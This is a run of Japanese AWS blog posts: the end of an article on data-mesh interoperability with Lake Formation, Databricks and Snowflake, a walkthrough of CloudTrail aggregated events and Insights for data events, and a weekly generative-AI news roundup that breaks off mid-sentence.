テーブルにクエリを実行し、クエリエンジンにテーブルデータにアクセスするための一時的なストレージ認証情報を提供します。 Snowflake Horizon カタログを通じて外部エンジンで Apache Iceberg テーブルにクエリを実行する を参照してください。 データアクセス権限については、GDC は Snowflake 認証情報提供メカニズムではなく、クロスアカウント IAM ロールベースのアクセスパターンを使用して S3 データにアクセスします。顧客は、Lake Formation が一時的な認証情報提供を管理できるように、フェデレーションの一部として S3 バケットストレージへの権限を明示的に設定する必要があります。 3. 分散ポリシーの反映 Snowflake のきめ細やかなアクセス制御を Lake Formation へ複製するには、Snowflake からアクセスポリシーを抽出し、同等の Lake Formation 権限に変換する同期メカニズムが必要です。これらのきめ細やかなアクセスポリシーは、手動で複製するか、両システムを同期させるカスタムビルドソリューションを介して複製することができます。   パターン 要件 統合機能 プロデューサーとしての Databricks （コンシューマーとしての AWS） 1. カタログフェデレーション AWS Glue カタログフェデレーションから Unity Catalogへ 2. データストレージ権限 S3 アクセス用の IAM ロール 3. データポリシーの反映 FGAC ポリシーは手動またはカスタムロジックを介して Lake Formation に複製され、実施される プロデューサーとしての Snowflake （コンシューマーとしての AWS） 1. メタデータフェデレーション AWS Glue カタログフェデレーションで Open Catalog または Horizon Catalog IRC API を使用 2. データストレージ権限 S3 アクセス用の IAM ロール 3. データアクセスポリシー FGAC ポリシーは手動またはカスタムロジックを介して Lake Formation に複製され、実施される 表3. この表は、AWSをデータコンシューマーパターンとして実装する際に、Databricks とSnowflake とのデータ相互運用性を可能にする AWS が提供する統合機能をまとめたものです。 結論 データメッシュアーキテクチャを成功させるには、3つの重要な相互運用性要件に対応する必要があります：クロスカタログメタデータフェデレーション、クロスアカウント認証と認可、そして分散ポリシーの反映です。Apache Iceberg のようなオープンテーブルフォーマットをサポートするパートナーは組織が柔軟で安全かつスケーラブルなデータアーキテクチャを構築できるような補完的な機能を提供しますが、さらに AWS Lake Formation を利用することでデータメッシュ実装のための堅牢な基盤を構築することが可能です。これらのパターンを、Databricks と Snowflake を代表例として使用して実証ました。 Apache Iceberg は、データメッシュアーキテクチャを検討している組織にとって、テーブルフォーマットとして説得力のある利点を提供します。そのクロスプラットフォーム互換性により、異なるクエリエンジン間で一貫したデータアクセスが可能になり、簡素化された認証/認可による効率的な統合オプションを提供します。また、このフォーマットは、スキーマ進化、タイムトラベル機能、ACID トランザクションなどの価値ある機能をサポートしており、分散所有権シナリオでデータの整合性を維持するのに役立ちます。これらの特性により、データメッシュアプローチの実装を検討しているチームにとって、Iceberg は評価する価値があります。 クロスカタログメタデータフェデレーションを実装する ために、AWS とパートナーの機能を活用して分散データ資産の統合ビューを作成し、ドメイン所有権を維持しながらデータ発見をシームレスにします。この重要なバランスにより、金融サービス組織は従来のデータサイロを解消しながら、革新のスピードと規制遵守の両方を維持することができます。 最後に、チームはデータメッシュを実装する前に 組織全体で標準化されたポリシー定義を確立する べきです。プラットフォーム間（AWS Lake Formation、Databricks、Snowflakeなど）で変換できるセキュリティポリシーの共通フレームワークを作成することで、ドメインチームが自分たちのデータ製品を管理する自律性を許容しながら、一貫したガバナンスを維持します。ポリシー標準化は重要な焦点領域であり、共通ポリシー定義フォーマットの確立とクロスエンジンポリシー変換の改善に向けた取り組みが進められています。これらの技術が成熟するにつれて、組織は安全でスケーラブルなデータメッシュアーキテクチャを自信を持って構築し、ドメインチームがデータプロダクトを所有しながら、データエコシステム全体にわたる企業全体のガバナンスと相互運用性を維持することができます。

AWS CloudTrail は、AWS アカウントの API 呼び出しとイベントを記録し、ガバナンス、コンプライアンス、運用上のトラブルシューティングのための監査証跡を提供します。お客様は CloudTrail でデータイベントを有効にすることで、リソースレベルの操作に対するより深い可視性を得ることもできます。これには、 Amazon S3 のオブジェクトレベル操作（GetObject/PutObject など）や AWS Lambda 関数の呼び出しが含まれます。データイベントは、不正アクセスの検出、セキュリティインシデントの調査、およびデータプレーンに関する詳細なアクティビティログを必要とするコンプライアンス要件の充足に役立ちます。 データイベントは、AWS インフラストラクチャにおける重要な監視ポイントになります。Amazon S3 オブジェクトへのアクセス、Amazon DynamoDB の操作、AWS Lambda 関数の呼び出しのいずれにおいても、これらのイベントを理解することはセキュリティ、コンプライアンス、運用の優位性にとって不可欠です。しかし、これらのイベントは膨大な量のデータを生成する可能性があり、ダウンストリームワークフローのコストとストレージ要件の増大を招く恐れがあります。組織はこの点に関して難しい課題に直面することがよくあります：多くの組織は、ダウンストリームシステムに送信されるデータ量を削減することが困難であったり、データイベントの異常を特定したり、異常が発生した際に迅速に対応することに苦労しています。これらの課題は、不必要なコスト負担を生み出し、トラブルシューティングの取り組みを遅らせ、潜在的なセキュリティリスクを放置してしまう可能性をもたらします。 本日、データイベントの監視と対応方法を変革する AWS CloudTrail の強力な新機能を 2 つご紹介できることを嬉しく思います：CloudTrail データイベント用の イベント集約 と Insights です。各機能は、お客様のそれぞれのニーズに対応します。イベント集約は、ダウンストリームワークフローのデータ量を最適化し、API アクティビティの変化パターンを特定しやすくします。そして CloudTrail Insights は、データイベントの異常を特定し、セキュリティ監視を強化するのに役立ちます。インフラストラクチャコストの最適化、コンプライアンス要件の充足、セキュリティインシデントの調査といった目的に対して、これらの新機能は、大量のログデータでチームを圧倒することなく、適切なソリューションを提供します。 この記事では、これらの新機能がどのように機能するかを紹介し、データイベントを分析して実用的なインサイトを作成する方法を説明します。 前提条件 このウォークスルーには、データイベントが有効になっている既存の CloudTrail 証跡が必要です。新しい証跡を作成する際に、集約イベントと Insights イベントを直接有効にすることもできます。また、これら 2 つの新機能は CloudTrail の追加コストが発生します。料金の詳細については、 AWS CloudTrail の料金 をご覧ください。 注意： イベント集約とデータイベント用インサイトを使用するには、証跡でデータイベントを有効にする必要があります。 イベント集約 データイベント用の CloudTrail イベント集約の設定 CloudTrail イベント集約は、データイベントを 5 分間のサマリーに統合し、アクセス頻度、エラー率、最も頻繁に使用された API アクションなどの主要なトレンドに対する可視性を提供します。この要約アプローチは、セキュリティ監視、運用監視にとって重要なインサイトを維持しながら、ダウンストリームの分析システムに送信されるデータ量を大幅に削減します。 このサンプルシナリオでは、データイベントを有効にしている既存の証跡に対して集約を有効化する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベント用の 証跡 を選択します。 Aggregated events で、 編集 を選択します。 Aggregation template で、サービスが提供する以下のテンプレートから任意のものを選択して、データイベントを集約できます。 API Activity ：API 呼び出しのデータイベントに関して、5 分単位のサマリーを取得します。このテンプレートを使用することで、頻度、呼び出し元、ソースを含む API の使用パターンを理解できます。 Resource Access ：AWS リソースのアクティビティパターンを取得します。このテンプレートを使用することで、AWS リソースがどのようにアクセスされているか、5 分間のウィンドウで何回アクセスされているか、誰がリソースにアクセスしているか、どのようなアクションが実行されているかを理解できます。 User Actions ：API 呼び出しを行う IAM プリンシパルに基づいたアクティビティパターンを取得します。 図 1：AWS CloudTrail 集約イベント 変更の保存 を選択します。 CloudTrail は証跡に設定されているリソースに関して、全てのデータイベントの集約を開始します。（ 補足： この機能は、新しい証跡を作成する際にも設定できます）。 CloudTrail 集約イベントの分析 集約イベントは、証跡に設定した S3 バケット内の CloudTrail-Aggregated フォルダに配信されます。その後、 Amazon Athena を使用して S3 バケットからこれらのイベントをクエリしたり、CloudTrail イベントを CloudWatch Logs に配信している場合は CloudWatch Logs Insights を使用することもできます。 CloudWatch Logs Insights を使用して、API アクティビティの集約イベントをクエリし、5 分間の API アクティビティの集約カウントを表示する方法を見てみましょう。次に、全体的なアクティビティに寄与したユーザー ID とリソースを表示します。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 Logs Insights を選択します。 Query definition セクションで、 SQL を選択します。 以下のクエリをコピーして、エディタウィンドウに貼り付けます。（注意： [Log Group] を CloudTrail 用のロググループ名に置き換える必要があります）。 SQL クエリ： SELECT accountId, awsRegion, `summary.primaryDimension.dimension` as Dimension, `timeWindow.windowStart` as `Start Time`, `timeWindow.windowEnd` as `End Time`,`summary.details.3.statistics.0.name` as sourceIpAddress, `summary.primaryDimension.statistics.0.name` as eventName, `summary.primaryDimension.statistics.0.value` as Count, `summary.details.1.statistics.0.name` as userIdentity, `summary.details.0.statistics.0.name` as resource, `summary.details.0.statistics.0.value` as `Resource Count` FROM `[Log Group]` Where `eventCategory` = 'Aggregated' and `summary.primaryDimension.dimension` = 'eventName' ORDER BY `timeWindow.windowStart`, `timeWindow.windowEnd` DESC; クエリの実行 をクリックすると、結果が表示されます。 図 2： CloudWatch Logs Insights のクエリ結果 クエリ結果には、集約イベントの各期間で実行された API アクションと全体のカウントが表示されます。また、API アクティビティの全体カウントに寄与したユーザーとリソースに関して、追加の統計情報も表示されます。さらに、追加の分析のために Resource Access および User Access 集約テンプレートに関連するイベントに対して、同じ要領でクエリを実行することもできます。 サブスクリプションフィルターによる集約イベントのダウンストリームへの送信 イベント集約は、データイベントを 5 分間のサマリーに統合し、全体のカウントを提供するとともに、イベント集約中にキャプチャされた全体カウントに寄与したユーザー ID、API アクティビティ、またはリソースに関する主要な統計情報を表示します。イベント集約レコードのフィールドに関する詳細は、 集約イベントの CloudTrail レコードの内容 のドキュメントを参照してください。イベント集約がデータイベントと比較して配信するイベント量を削減している例を以下に示します。 図 3：CloudTrail におけるデータイベント数と集約イベントの総数の比較 CloudTrail ログに対してサブスクリプションフィルターを作成し、CloudWatch Logs から Kinesis Data Streams、Amazon Data Firehose、Lambda 関数、または Amazon OpenSearch Service などの宛先にデータイベントではなく集約イベントを送信することで、ダウンストリームのシステムに送信されるデータ量を削減できます。 CloudTrail の管理イベントと集約イベントのみを送信するサブスクリプションフィルターの設定方法を見てみましょう。 CloudWatch コンソール に移動します。 左側のナビゲーションメニューで、 ロググループ を選択します。 CloudTrail に使用されているロググループを選択します。 サブスクリプションフィルター タブを選択します。 作成 を選択し、Amazon Kinesis Data Streams、AWS Lambda、Amazon Data Firehose、または Amazon OpenSearch Service のいずれかを選択します。 次に、サブスクリプションフィルターに以下のログ形式とフィルターパターンを使用します。 ログの形式 : JSON サブスクリプションフィルターのパターン：  { ($.eventCategory = “Management”) || ($.eventCategory = “Aggregated”) } 図 4：CloudWatch サブスクリプションフィルター データイベントのインサイト データイベントに対する CloudTrail Insights の設定 AWS CloudTrail Insights は、CloudTrail イベントを分析することで、AWS アカウント内の異常な API アクティビティのパターンを自動的に検出する高度な機能です。以前は管理イベントのみが対象でしたが、現在はデータイベントに対しても、アカウントの通常時と大きく異なる使用パターンを識別できるようになりました。機能を有効化すると、CloudTrail Insights は API コールレートとエラーレートを監視し、リソースプロビジョニングの突然の急増、アクセスパターンやエラーレートなどに関する異常を検出したときに Insights イベントを生成します。 このサンプルシナリオでは、既存の CloudTrail 証跡に対してデータイベント用の Insights イベントを設定する方法を説明します。 CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 証跡 を選択します。 CloudTrail イベントの 証跡 を選択します。 Insights イベント の 編集 を選択します。 Data events Insights types で、以下のオプションを選択できます。 API コールレートインサイト – 1 分あたりに発生するデータ API 呼び出しの数が API コールレートのベースラインから逸脱したときにインサイトを生成します。書き込み操作に関するデータ API 呼び出しのみを計測します。 API エラーレートインサイト – 失敗してエラーを返したデータ API 呼び出しの数がエラーレートのベースラインから逸脱したときにインサイトを生成します。読み取りと書き込みの両方のデータ API 呼び出しを計測します。 図 5：データイベントに対する Insights イベントの設定 Insights イベントを有効にすると、CloudTrail はまず通常のアクティビティパターンのベースラインを確立する必要があり、最初の Insights イベントが配信されるまでに最大 36 時間かかることがあります。また、Insights イベントを無効にしてから再度有効にした場合や、証跡のログ記録を停止してから再開した場合も、同様に Insights イベントの配信が再開されるまでに最大 36 時間かかる可能性があります。 データイベントに対する CloudTrail Insights の分析 CloudTrail Insights イベントは、標準の CloudTrail イベントとは異なり、CloudTrail がアカウントの通常の API アクティビティのパターンからの逸脱を検知した場合にのみ生成されます。コンソールを通じてインサイトイベントを表示する方法を見てみましょう： CloudTrail コンソール に移動します。 左側のナビゲーションメニューで、 Insights を選択します。 Data events タブを選択して、インサイトイベントのリストを表示します。 リストから Insights イベントを選択して、詳細を表示します。 図 6：CloudTrail Insights の Insights イベントの一覧 Insights イベントの詳細ページには、異常なアクティビティのタイムラインのグラフが表示されます。 図 7：Insights イベントの詳細 さらに、CloudWatch メトリクスフィルターや Event Bridge ルールを使用して、特定のインサイトパターンに基づいてアラームと通知を設定できます。設定方法の詳細については、ブログ記事 Leveraging AWS CloudTrail Insights for Proactive API Monitoring and Cost Optimization および Analyzing AWS CloudTrail in Amazon CloudWatch をご覧ください。 クリーンアップ 追加料金の発生を防ぐため、このウォークスルー中に作成した CloudTrail Insights と集約イベントの設定を削除してください。 まとめ CloudTrail イベント集約とデータイベントの Insights は、さまざまなお客様のニーズに対応する強力な新機能を提供します。CloudTrail 集約イベントは、CloudTrail のデータをダウンストリームワークフローに送信するお客様向けのソリューションを提供し、必要な可視性を維持しながらデータ量と関連コストの削減を支援します。CloudTrail Insights は、異常やパターンを明確に特定するために必要なコンテキストを提供し、セキュリティチームと運用チームが手動分析なしで異常なアクティビティを検出できるよう支援します。この記事では、データ処理パイプラインを最適化する CloudTrail イベント集約の設定方法と、異常なアクティビティパターンを自動的に検出し、CloudWatch メトリクスフィルターを使用してアラートを作成するためのデータイベント用 CloudTrail Insights の設定方法を説明しました。これらの新しい CloudTrail の機能が、セキュリティ体制の強化やコストの最適化にどのように役立つか詳しく知るには、 AWS CloudTrail ドキュメント をご覧ください。 本ブログは Solutions Architect の 加藤 が翻訳しました。原文は こちら です。

みなさん、こんにちは。AWS ソリューションアーキテクトの木村です。 週末は千葉県のキャンプ場で綺麗な夜空を見て気分をリフレッシュし、きたる re:Invent 2025 に備えていました。 そう、今週はついに re:Invent 2025 ですね！どんな発表があるのか私自身もとても楽しみです！ 毎年おなじみAWS Japanから提供する re:invent 速報を今年も開催いたします。ぜひ こちらのページ より事前登録をお願いいたします。 先日 2つの新しいプランを追加した「 AWS ジャパン生成 AI 実用化推進プログラム 」も非常に多くの申し込みをいただいています。引き続き募集中ですのでよろしくお願いします。 それでは、11 月 24 日週の生成 AI with AWS界隈のニュースを見ていきましょう。すでに多くの update が出ているためカテゴリーに分けて記載しています。 さまざまなニュース お客様事例・実践レポート AWS生成AI国内事例ブログ「東京海上日動システムズ株式会社様の AWS 生成 AI 事例：全社生成 AI 実行基盤とエンタープライズ RAG システムの構築」 東京海上日動システムズ様における全社向け生成 AI 実行基盤の構築事例を紹介しています。マルチアカウント構成による基盤設計の考え方や、RAG システムにおける技術選定と実装の工夫、コスト最適化の取り組みなど、企業での生成 AI 活用を検討される際の参考となる内容です。 AWS生成AI国内事例ブログ「グラフデータを使用した Network Digital Twin と Agentic AI を活用した被疑箇所の特定」 NTTドコモ様とAWSは、通信ネットワークの複雑な障害における根本原因分析を革新するため、Amazon NeptuneグラフデータベースによるNetwork Digital TwinとAgentic AI（Strands Agents + Amazon Bedrock AgentCore）を組み合わせたソリューションを開発しました。従来の相関関係ベースのアプローチから因果関係を捉えるアプローチへと転換し、ネットワークトポロジー、アラーム、KPIをリアルタイムにグラフ構造化したネットワークナレッジレイヤーと、4つのRunbookデザインパターン（基本的なグラフ分析、既知パターンマッチ、異常検知融合、予測値からの乖離検出）によるAgentic AIワークフローを実装しています。NTTドコモの商用ネットワークでの検証では、トランスポートネットワークおよび無線アクセスネットワークにおける複雑な障害ケースで15秒のMTTD（平均検知時間）を実現し、従来の数時間かかっていた根本原因特定プロセスを短縮しました。詳細なアーキテクチャと4つのRunbookパターンの実装方法をブログでチェックしてみてください。 ブログ記事「株式会社 LIFULL 様の AI-DLC Unicorn Gym 実践レポート: 組織的な AI 活用による開発生産性向上」 LIFULL 様とAWSの共同執筆により、AI 駆動開発ライフサイクル（AI-DLC）Unicorn Gym の実践を通じて得られた学びとその後の変化をお伝えしています。LIFULL様は AWS の ソフトウェア開発生成 AI アシスタントである Amazon Q Developer を全社的に活用し、エンジニアだけでなく企画職の方も業務の生産性向上に取り組まれています。個人単位でのAI Agentの活用は着実に進んでいますが、次のステップとして組織でどう活用していくかはまだ検討段階にありました。組織的な活用をさらに進めるため、LIFULL 様と AWS で AI-DL Unicorn Gym と呼ばれるワークショップに取り組み、AI-DLC の有効性を確認しました。ブログでは AI-DLC Unicorn Gym の成果と、実施後の開発にどのような変化があったのかをお伝えしています。 Kiroweeeeeeek in Japan Day6 – Amazon Q Developer CLI から Kiro CLI へ : 知っておくべき変更点 Amazon Q Developer CLIが Kiro CLI へと進化し正式リリースされました。GoogleやGitHubアカウントでのログインが可能になったほか、開発効率を大幅に向上させる新機能が追加されています。ブログでは、Kiro の一般提供で利用可能になった Kiro CLI に焦点を当て、「Amazon Q Developer CLI から Kiro CLI で何が変わったの？」という疑問をお持ちの方へ変更点や新機能を紹介しています。 Day7 – イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。Big Picture を使ってサブドメイン間の関係性を整理したり、業務内容をコードに落とし込むための設計に活用したりと、業務分析から設計まで幅広く役立ちます。しかし、イベントストーミングで得られた成果物を「どこから実装に落とし込むのか」「どうテストするのか」といった部分は、開発者がつまずきやすいポイントではないでしょうか。ブログでは、Kiro の Spec 機能を活用して、イベントストーミングの成果物を要件定義・設計・実装タスクへと変換していくプロセスを紹介しています。 Day8 – Kiro における負債にならない Spec ファイルの扱い方 Kiro の Spec ファイルは「仕様駆動開発」を構成する要素です。Spec ファイルにより仕様を起点として設計・実装を進めることができ、仕様と実装の同期を保ちながら開発を進めることができます。このように Spec ファイルは Kiro の中核をなす要素なのですが、適切に扱わないと負債になってしまう可能性があります。ブログでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫を紹介していま。 Day9 – AWS Japan の新卒が Kiro でマネコン上の操作を支援する Chrome 拡張機能をチーム開発してみた！ Kiroは個人開発に強いツールという印象があるかもしれませんが、実はチーム開発でも十分に力を発揮できます。本記事では、AWS Japanの新卒メンバー4名が約2ヶ月でAWSマネジメントコンソールの操作を支援するChrome拡張機能を開発した実践例を通じて、ステアリング機能によるコーディング規約の統一、MVP思考でのSpec分割による適切なタスク粒度の維持、そしてバージョン情報を含めた技術選定の明確化など、チーム開発で必要な具体的なノウハウを詳しく解説しています。 Day10 – スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー。新時代の開発パートナーシップ設計 AI 駆動開発の新常識。Kiroによる開発速度の飛躍的向上は、同時にコードレビューの負荷増大という課題をもたらします。ブログでは、GitLab Duo Self-Hosted（Amazon Bedrock活用）とKiroを組み合わせることで、この課題を解決する新しいワークフローを提案しています。発注元と開発が分離している開発現場で、スピードと品質を両立させる持続可能なパートナーシップモデルを知りたい方は、ぜひチェックしてください。 Kiro をはじめる第一歩：あなたに合った学習パスを見つける 「Kiroweeeeeeek in Japan」の最終号となるこのブログでは、12日間で公開された全10個のコンテンツを振り返りながら、読者の状況や関心に合わせた学習パスをガイドします。「Kiroを初めて使う人」「Amazon Q Developerから移行したい人」「組織での導入を検討している人」「実践的な使い方を知りたい人」の4つのペルソナ別に、どのコンテンツから読み始めるべきかを紹介しています。これからKiroを始める方、より深く活用したい方は、ぜひ本記事で自分に最適な学習パスを見つけて、新しい開発の旅を始めてください。 その他のKiro関連 ブログ記事「Kiro における Opus 4.5 をご紹介」 KiroでAnthropicの最新かつ最も高性能なモデルClaude Opus 4.5のサポートが開始されました。Kiro IDEとKiro CLIで利用可能なこの新しいモデルの詳細や、クレジット倍率などの情報について、ぜひブログををチェックしてください。 ブログ記事「Kiro クレジットをより有効活用する方法」 KiroのAutoエージェントが効率化され、高品質を維持しながらクレジット使用量を削減できるようになりました。新バージョンのAutoでは、日常的な一般的なリクエストでクレジット使用量が21%削減され、最も複雑で要求の厳しいリクエストでは36%もの削減を実現しています。まだAutoを試していない方は今が始める絶好のタイミングですので、ぜひブログで詳細をチェックしてみてください。 ブログ記事・開催報告 ブログ記事「第 5 回 AWS ジャパン 生成 AI Frontier Meetup ～学びと繋がりの場～【開催報告】」 2025年11月17日に開催された第5回生成AI Frontier Meetupでは、累計250社超を支援する「生成AI実用化推進プログラム」の参加企業や基盤モデル開発者が一堂に会し、最新の取り組みを共有しました。生成AIの社会実装に向けた具体的な学びと参加者同士の交流が活発に行われた有意義なイベントの開催報告を是非チェックしてみてください。 ブログ記事「AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア」 Amazon BedrockにPriority、Standard、Flexの3つのサービスティアが導入され、ワークロードの特性に応じた柔軟なコスト最適化が可能になりました。Priorityティアは他のティアよりも最大25%優れたOTPS (1 秒あたりの出力トークン数) レイテンシーを実現し、カスタマーサービスチャットやリアルタイム翻訳などミッションクリティカルなアプリケーションに最適で、Standardティアはコンテンツ生成やテキスト分析などの日常的なAIタスクに通常料金で一貫したパフォーマンスを提供し、Flexティアはモデル評価やコンテンツ要約、エージェンティックワークフローなど長いレイテンシーに対応できるワークロードに低料金で優れたコスト効率を実現します。APIコールごとにティアを選択できるため、即時応答が必要なワークロードと段階的処理が可能なワークロードを識別して最適化することで、パフォーマンス要件を満たしながら支出を効果的に管理できますので、ぜひ本記事をチェックしてください。 ブログ記事「オープンウェイトモデル（ gpt-oss ）の日本語精度は？ – AWS パートナー アクロクエストによる徹底検証」 2025年8月にAmazon Bedrock上で利用可能になったOpenAIのオープンウェイトモデル「gpt-oss」」の日本語能力を、AWSパートナーのアクロクエストテクノロジー様に検証いただきました。XL-Sum（要約）、JEMHopQA（論理的推論）、JSQuAD（RAG/文章理解）の3つのデータセットで検証しClaude Sonnet 4.5、Claude Haiku 3.5/4.5、Llama 4 Scout 17B-16Eとの比較をしています。モデル選定に役立つ指針になっていますので是非チェックしてみてください。 ブログ記事「Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする」 Amazon SageMaker Catalogに組織全体でのデータ発見性を向上させる2つの新機能が追加されました。1つ目の「列レベルのメタデータフォームとリッチテキスト説明」では、個々の列に対してカスタムメタデータフォームを作成し、マークダウン対応のリッチテキストで包括的なデータ文書化が可能になります。2つ目の「アセット発行時の用語集メタデータルール適用」では、データ作成者が発行前に組織の用語集で承認されたビジネス用語を使用してアセットを分類することを必須化でき、一貫したメタデータ標準を促進してコンプライアンス強化と監査準備を向上させます。具体的な設定方法や活用シーンについてブログでチェックしてみてください。 ブログ記事「Amazon SageMaker Unified Studio の新しいワンクリックオンボーディングと組み込み AI エージェントを含むノートブック」 Amazon SageMaker Unified Studioに既存のAWSデータセットへの迅速なアクセスを実現する3つの新機能が追加されました。「ワンクリックオンボーディング」では既存のIAMロールと許可を使用してAWS Glue データカタログ、AWS Lake Formation、Amazon S3のデータ許可を備えたプロジェクトを自動作成します。「直接統合」ではAmazon SageMaker、Amazon Athena、Amazon Redshift、Amazon S3 Tablesのコンソールから直接起動して分析とAIワークロードへの迅速なパスを提供します。「組み込みAIエージェントを含むノートブック」では、Amazon SageMaker Data Agentが自然言語プロンプトからSQL、Python、Sparkコードを生成してデータエンジニア・アナリスト・データサイエンティストの開発を加速し、Amazon Athena Spark、AWS Glue Spark、Amazon MWAAなどのサーバーレスコンピューティングも自動作成されてプロビジョニング不要でジャストインタイムのリソース利用とコスト削減を実現します。具体的なセットアップ手順やAIエージェントの活用例をブログチェックしてみてください。 サービスアップデート 生成AIを組み込んだ構築済みアプリケーション Amazon Quick Suite Embedded Chat が利用可能になりました Amazon Quick Suite Embedded Chat の一般提供を開始しました。これまで別々のツールで対応していた構造化データと非構造化データの検索を、一つの会話型 AI で統合できるようになります。CRM や分析ポータルなどの既存アプリケーションに簡単に埋め込み可能で、ユーザーは作業環境を離れることなく KPI の確認からファイル検索、Slack 送信まで実行できます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能で追加料金はありません。詳細は こちらの Blog 記事 をご参照ください。 Amazon Quick Suite が Quick Flows のスケジューリング機能を導入 Amazon Quick Flows でスケジューリング機能が利用可能になりました。これまで手動で実行していたワークフローを、指定した時間や間隔で自動実行できるようになります。日次、週次、月次またはカスタム間隔で設定でき、定期レポートの生成やタスクサマリー作成、会議資料の準備などの繰り返し業務を効率化できます。バージニア北部、オレゴン、アイルランドリージョンで利用でき、 Quick Flows の標準料金以外の追加費用はかかりません。詳細は こちらのドキュメント をご参照ください。 Amazon Quick Research に信頼できるサードパーティ業界インテリジェンスが追加 Amazon Quick Research で、サードパーティの業界データにアクセスできるようになりました。S&P Global や FactSet、IDC などの専門データプロバイダーのデータを、企業の内部データやリアルタイム Web 検索と組み合わせて分析できます。これまで複数のプラットフォームを行き来する必要があった作業が、一つのワークスペースで完結するため、金融アナリストは投資判断を、エネルギーチームは取引戦略を、営業チームはトレンド分析を効率的に行えます。バージニア北部、オレゴン、シドニー、アイルランドリージョンで利用可能です。 詳細はこちらのドキュメント をご参照ください。 アプリケーション開発のためのツール Claude Opus 4.5 が Amazon Bedrock で利用可能になりました Amazon Bedrock で Claude Opus 4.5 が利用可能になりました。Anthropic の最新モデルで、従来の Opus レベルの高性能を 1/3 のコストで実現できます。プロフェショナルなソフトウェア開発タスクで最先端の性能を発揮し、通常複数日かかるチーム開発を数時間に短縮することが可能になります。コーディングだけでなく、文書やスプレッドシート、プレゼンテーション作成でも威力を発揮し、金融などの精度重視の業界に最適です。新機能として tool search と tool use examples が追加され、複雑なタスクを正確に実行できるようになりました。詳細は こちらの Blog 記事 をご参照ください。 Amazon Bedrock が Reserved Service Tier を導入 Amazon Bedrock で新しい Reserved Service tier が提供開始されました。予測可能なパフォーマンスと保証された tokens-per-minute 容量を提供し、ミッションクリティカルなアプリケーションのサービスレベルを安定させることができます。入力と出力の token 容量を個別に調整できるため、要約タスク (多くの入力、少ない出力) やコンテンツ生成 (少ない入力、多くの出力) など、非対称な token 使用パターンに最適化できます。容量不足時は自動的に Standard tier にオーバーフローし、運用を継続します。現在 Anthropic Claude Sonnet 4.5 で利用可能で、1 ヶ月または 3 ヶ月の期間で予約できます。詳細は こちらのドキュメント をご参照ください。 基盤モデルのトレーニングと推論のためのインフラストラクチャー Amazon SageMaker HyperPod が生成 AI タスク向けに NVIDIA Multi-Instance GPU (MIG) をサポート開始 Amazon SageMaker HyperPod で NVIDIA Multi-Instance GPU (MIG) 技術がサポートされました。この機能により、1 つの GPU を複数の独立した GPU に分割して、複数の生成 AI タスクを同時実行できます。従来は GPU 全体を 1 つのタスクで占有する必要がありましたが、今回のアップデートで小さなタスクでも効率的にリソースを活用できるようになりました。データサイエンティストは軽量な推論タスクやノートブック実行時の待機時間を削減でき、開発スピードが向上します。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod が Spot インスタンスをサポート開始 Amazon SageMaker HyperPod で Spot Instances がサポートされ、GPU 計算コストを最大 90% 削減できるようになりました。Spot Instances は AWS の余剰 EC2 キャパシティを安価で利用する仕組みで、大規模な AI ワークロードのコスト最適化に効果的です。オンデマンドインスタンスと組み合わせることで、コスト削減と可用性のバランスを取れます。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker AI Inference が双方向ストリーミングをサポート開始 Amazon SageMaker AI Inference で双方向ストリーミング機能が提供開始されました。例えば音声をリアルタイムでテキストに変換し、ストリーミングで文字起こし結果を取得することが可能になります。従来は複雑な WebSocket 実装が必要でしたが、新しい Bidirectional Stream API を使えば簡単に音声エージェントを構築できます。チャットボットや音声アシスタントの開発において、遅延を最小限に抑えた自然な会話体験を実現可能です。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始 Amazon SageMaker AI が EAGLE speculative decoding をサポート開始しました。EAGLE (Extrapolation Algorithm for Greater Language-model Efficiency) speculative decodingとは、複数のトークンを並列で生成および検証することで推論スループットを最大2.5倍向上させる技術です。AI アプリケーションの応答時間が改善され、出力品質を維持しながら高速な推論が可能です。東京リージョンを含む 7 つのリージョンで利用できます。詳細は こちらの Blog 記事 をご参照ください。 Amazon SageMaker AI が推論向けの Flexible Training Plans 容量をサポート開始 Amazon SageMaker AI の Flexible Training Plans (FTP) が推論エンドポイントに対応しました。FTP は GPU 容量を事前に予約できるサービスで、これまでは学習のみでしたが推論処理でも利用可能になりました。必要なインスタンスタイプと期間を指定して予約すれば、SageMaker AI が自動でエンドポイントを起動してくれるため、インフラ管理の手間が不要です。モデル評価や本番運用のピーク時に確実に GPU を確保でき、ML 開発サイクルを計画的に進められます。バージニア北部、オレゴン、オハイオリージョンで利用可能です。詳細は こちらの API リファレンス をご参照ください。 Amazon SageMaker HyperPod がプログラマティックなノード再起動と交換をサポート Amazon SageMaker HyperPod で、クラスターノードの再起動・交換を行う新しい API が利用可能になりました。BatchRebootClusterNodes と BatchReplaceClusterNodes API により、応答しなくなったノードや劣化したノードをプログラム的に復旧できます。従来は手動作業が必要でしたが、最大 25 インスタンスまでのバッチ処理で効率的な運用が実現します。機械学習ワークロードの実行中にノード障害が発生した際も、迅速な復旧によりダウンタイムを最小化できます。現在オハイオ、ムンバイ、東京リージョンで利用可能です。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod がカスタム Kubernetes ラベルと taint をサポート Amazon SageMaker HyperPod でカスタム Kubernetes ラベルと taint がサポート開始されました。これにより GPU リソースの効率的な制御とワークロード配置が可能になります。従来は kubectl を使った手動設定と運用が必要でしたが、今回のアップデートで CreateCluster や UpdateCluster API を通じて自動管理できるようになりました。インスタンスグループごとに最大 50 個のラベルと 50 個の taint を設定でき、高コストな GPU リソースを AI トレーニング専用に確保したり、デバイスプラグインとの統合も簡単になります。詳細は こちらのドキュメント をご参照ください。 SageMaker HyperPod が Managed 